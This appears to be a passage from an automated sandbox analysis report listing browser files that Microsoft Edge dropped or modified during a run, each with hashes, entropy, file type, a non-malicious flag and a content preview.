Preview:	...@..@...@.....C.].....@...................(...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".ieriuu20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U?:K...G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673B331D-14B8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.046958727123933765
Encrypted:	false
SSDEEP:	192:5dChqw0pqtmsnOAQSYjJ8STlGazrZX/gLXHJIa8EozTnThb8N1I+RQ8qrFRJn8ys:Liqw0ctnGXYWjhgMmEbJ08T2RGOD
MD5:	107A4C2441676898C10A0C8A43A55E84
SHA1:	60042EDD58A83555B108F8C2850135BB5B0DAE2C
SHA-256:	BB8C6E2DBEE498E7DD63749D77B12A9073C1A03A1B2AE433325ACDA57B9C8358
SHA-512:	B04870292E7A11FE8F27F3D5822147F57885FBC7943B0A4E39BCB7F988C840277FE9AE8A4F865BDF2DCD545E7E96F1F8A1F3E5FB74B1CD6C2FF8D424A9F4E97D
Malicious:	false
Preview:	...@..@...@.....C.].....@................i...Y..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".ieriuu20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U..G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2..........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.195531555605597
Encrypted:	false
SSDEEP:	3:FiWWltlMpKoKuNoDZbkDURSHxig5ABVP/Sh/JzvNKIUBUhX9USWXQPWllt:o1GVKCoD4Hxi2ABVsJDZYeulX+W/
MD5:	B43C738AB1422F16D60B4C4B49CC7DF2
SHA1:	98C07F5F5E4F25C2BC0B2B5E6A3A2245F7D18215
SHA-256:	C28208A8D5052C44515333D67BE35E9900BB0C1E68DECF8C8CDC8DB67DE51E4C
SHA-512:	07A58D40C283CBDB4063D1EF70EBDAFF8E84CB47F530B939FA25195F9652976CB3E439F315A18D732128E60B5F2856DC1CA42E814DE45F2301DC143A0D22798E
Malicious:	false
Preview:	sdPC.........................TJ.[Y....."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................ecadf109-1d88-4bd2-8ebf-85346832b43e............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1a046ec2-1cf3-4937-94fb-f28888c47513.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12456
Entropy (8bit):	5.2073910060123
Encrypted:	false
SSDEEP:	192:stBJ99QTryDigabatSuypOs4iIa34Hk7LT8ibV+FrjQA40kq7NIgPIYJ:stBPGKSu4Os4iXjbGvQx0X7NI8
MD5:	EFFCD8D824E4676E2A00143F77A94D65
SHA1:	F42C376319D01741131C914DC8A3E95F61A103D4
SHA-256:	DF5A9846AAF4A3DF9ACF4BB24FEAF7F4EE216D21FA63341FE80FFFEC0DE75DAC
SHA-512:	2E1CEBA939E2D103DF308896AA14458FAE61B0BC9F8575EF9FE3663A722D057B10AFD5FA4550AFEE17835018035BA37151B5EDACC72C79CEE15A6023995031D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376406558673894","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3d53661d-a57c-4e28-92c4-cec9328d18e1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17185), with no line terminators
Category:	dropped
Size (bytes):	17193
Entropy (8bit):	5.491328949710334
Encrypted:	false
SSDEEP:	384:stBPGQSu4Os4iXy72Dk4OrVDKVUmbGvQwhDX7NI8:sDOXuRiyrkbbG4eLX
MD5:	660AD420F88E4042D21CC5BC26CC2E80
SHA1:	1D309145B8A2F3C8185A1841FB4F218C5F2AB454
SHA-256:	880D87E4B6218728C9E2811809974216D3EEBDD18F1332C2E11E4A4FF49F25A1
SHA-512:	064D5429F76F55D0EA6A603FDB2C09629F9318948D08FF7BE153EBE8DBC2744EF05022C678A74D54FF67F589A8A990AA3694BCDD258AE258616084FCC5FA003C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376406558673894","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\71a71cbd-a74e-409d-b66a-7c49ff59b652.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17350), with no line terminators
Category:	modified
Size (bytes):	17358
Entropy (8bit):	5.4878758689815275
Encrypted:	false
SSDEEP:	384:stBPGQSu4Os4iXy72Dk4OrVDKVUmbGvQwhz9f7NI8:sDOXuRiyrkbbG4a5X
MD5:	214658DEAB57F34F17F0062985E19874
SHA1:	38271F7B96F5E1D523BDFCFA7DA3373EF60689D8
SHA-256:	DCD19AFAAFAF141502CF29951D34A1F1244A513470EE094E24FFCD43D39DA12A
SHA-512:	82E2569B2F79766134ED3FB6DE868EA1D0645135A8A9FEBC739F96CD197F5B9FAE48CA1C200F032D45BDE67FD49F8913C23F430B8707C8C4AD5AEE376C6E492F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376406558673894","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\752b2be1-45e2-4662-8be3-a154c21d0684.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17350), with no line terminators
Category:	dropped
Size (bytes):	17358
Entropy (8bit):	5.487959138972247
Encrypted:	false
SSDEEP:	384:stBPGQSu4Os4iXy72Dk4OrVDKVUmbGvQwhD9f7NI8:sDOXuRiyrkbbG4e5X
MD5:	77FDC272618F1C03AB135FD5512AA5AB
SHA1:	612D3FE251F8A01601769AC9383273E76206788D
SHA-256:	FAE60C5046B4A8A0FA34F41A436546CA979A0F1F2DEEECC8C6B1D2E21D3D950F
SHA-512:	4D7F7B13904593E86179623AEBCCA887B70E16555D7FD8549E54534C768DECEFA20E4E0D78A1A4C618042CDD8D1251FB8AA41AFBD5F13DA9C7E51E1DE9081EE5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376406558673894","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\76ea50b0-6411-4e9d-89d0-0f0c87871eff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.55488721282484
Encrypted:	false
SSDEEP:	768:jQPYu27pLGLp68WPEGfP48F1+UoAYDCx9Tuqh0VfUC9xbog/OVQyLB+rwoN3rqKI:jQPYuWcp68WPEGfP4u1jadaBboN3Oxth
MD5:	AA2427FD9A0C15BF0ACF99392DD43DCD
SHA1:	9A05FC6D799500AC087812EFF4A78F6A2514B8B1
SHA-256:	6DA30BF4E56816929410B083D02FD40525A5B21C6CCE666E8A9772352D6BB71D
SHA-512:	129DC5A48861F7275AEF4F411006EFF25067AE17D6925263A9EA4ED89909A68BF6AED31DBFFBAFC890CC94679A56F619803821B56864CE752DD9561548C4C0A6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376406558037556","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376406558037556","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\89a3ddf3-64a7-476c-90c4-43371049d043.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16592), with no line terminators
Category:	dropped
Size (bytes):	16600
Entropy (8bit):	5.444363808798673
Encrypted:	false
SSDEEP:	384:stBPGQSu4Os4iX3Dk4OrVDKVUmbGvQwh0X7NI8:sDOXuRiGrkbbG49LX
MD5:	50621FE86609CBA0422C94B607DF536E
SHA1:	9A93DF6BF04C30D375ABAA7BA2F1D3D17F882654
SHA-256:	183FA9E6611092BBFDE83774E04B14063342659B7E45153029DCB3677FD7EE5F
SHA-512:	BA7B4833ACD9CB6747C5429E0A66B7704994EEC605894BD64534C7038E3B064005C1F6DFB290D971F5B24B9134C2588432923DABF3A64744EA2600D1306CFBA3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376406558673894","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\91df6ee3-65e2-4e39-bfbe-1e3620fb2580.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\981c7cb5-3c17-4941-a908-4fa063077957.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.279105218750314
Encrypted:	false
SSDEEP:	6:HUOsfH1CHhJ23oH+Tcwtp3hBtB2KLlVUOsYBSQ+q2PCHhJ23oH+Tcwtp3hBWsIF2:MTYebp3dFLBBSVvBYebp3eFUv
MD5:	631549EE57C4B73E87BBB73A17099BC7
SHA1:	D0A257D3B2A6B4815F9792F636B189DDE64944E6
SHA-256:	A880C5A1499370A6AB085ED654515FFE7FDC4B215CB93B4149405EB96FE16128
SHA-512:	C8D4905D9A824089A1D4D7546BB8DD51C783F7F7BBE89130594C952F26839EB4E12212CFCAE7B448E9843BE002FE87039C34BBFAAC81E940CF4B8F919C29B71E
Malicious:	false
Preview:	2024/11/18-07:29:23.994 4f8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/18-07:29:24.037 4f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1764710
Entropy (8bit):	5.138119143229975
Encrypted:	false
SSDEEP:	24576:hKPMfKfgXaHbMhFQlmADAbpENUdifYOBHbc2r:hK0fqJmcx
MD5:	A2B5CE1AC59FCB4CFC18D8F753525416
SHA1:	E02FD542E95C8D2DD73242A5B207CDE4A5590CFB
SHA-256:	F82BAA4425E0DDE3DEC942E4BA1CF04885844AA65764C71BA04424CF84FB5373
SHA-512:	47806BEB8123B4AB70556CE513679F71124717D09BA14B18DDC35ABC3EDD0E5A128ACDC89BBB6FCCC772229CA55D43CA31E84C4242ED19D0FDDEBCB47D4B5396
Malicious:	false
Preview:	...m.................DB_VERSION.1.Go..................QUERY_TIMESTAMP:arbitration_priority_list4...13340967444415546.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.190621546493906
Encrypted:	false
SSDEEP:	6:HUOsfU+q2PCHhJ23oH+Tcwt9Eh1tIFUt8YUOsf0NZmw+YUOsfLDtVkwOCHhJ23of:MpvBYeb9Eh16FUt8j2/+jLDT56Yeb9Er
MD5:	94129CC1561F4475353EEC906157B902
SHA1:	9F81100EC6C1A406322165CD1CB22A81D2160F99
SHA-256:	940311049BE295E123D9211D06D761ED99F114EECEE6C7528976989F25AA8354
SHA-512:	A85F7376C67834F6646552822279DE445FB083AFDE07618BC07857BF02A8332B44126D909606ACED37BF09879F5CA99935F5B9C7DD52F1B0EE4EA480CF968AA6
Malicious:	false
Preview:	2024/11/18-07:29:23.964 22f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/18-07:29:23.966 22f8 Recovering log #3.2024/11/18-07:29:23.970 22f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.190621546493906
Encrypted:	false
SSDEEP:	6:HUOsfU+q2PCHhJ23oH+Tcwt9Eh1tIFUt8YUOsf0NZmw+YUOsfLDtVkwOCHhJ23of:MpvBYeb9Eh16FUt8j2/+jLDT56Yeb9Er
MD5:	94129CC1561F4475353EEC906157B902
SHA1:	9F81100EC6C1A406322165CD1CB22A81D2160F99
SHA-256:	940311049BE295E123D9211D06D761ED99F114EECEE6C7528976989F25AA8354
SHA-512:	A85F7376C67834F6646552822279DE445FB083AFDE07618BC07857BF02A8332B44126D909606ACED37BF09879F5CA99935F5B9C7DD52F1B0EE4EA480CF968AA6
Malicious:	false
Preview:	2024/11/18-07:29:23.964 22f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/18-07:29:23.966 22f8 Recovering log #3.2024/11/18-07:29:23.970 22f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4628093729410582
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuh1:TouQq3qh7z3bY2LNW9WMcUvBuh1
MD5:	783F634E067A4AAC5F9787EB142CFB1D
SHA1:	0ACCC6AA6BA1E948230CA8D604814CC70147DABE
SHA-256:	2FC4F7F2F4A5E8A3A08DDED4AC4A365F9728CDFEE90C98E78249A3B3D6E64AB1
SHA-512:	7A4CB674E09AFBF9995BA1F7B1B2FD551A87CAD29DE619EA5AD892EE0A7ED3B5BA45C24D63C9B0EF0C2A87AC645784A22043765C05F84FB02464524503211425
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.257269246417947
Encrypted:	false
SSDEEP:	6:HUOsFH39+q2PCHhJ23oH+TcwtnG2tMsIFUt8YUOsclZmw+YUOscJVkwOCHhJ23oi:GHIvBYebn9GFUt8wl/+w356Yebn95J
MD5:	81AECB5B3A35024C1AD285D9FB3D3080
SHA1:	354C6606954B636123FB25026854FAC573DEBF79
SHA-256:	538C8386597187D419F63E1EE8A9D43F6A4CBC81225E07EEC20524E1DF223F26
SHA-512:	5662C3C834E0924E09A538BFC4ACC327CF2EAD6740F965E59E503A83C6DB8668BCD20B02DED085A7A66E6D7B74B561FDCDDD0891E49FF4F4E4455B963E51C08C
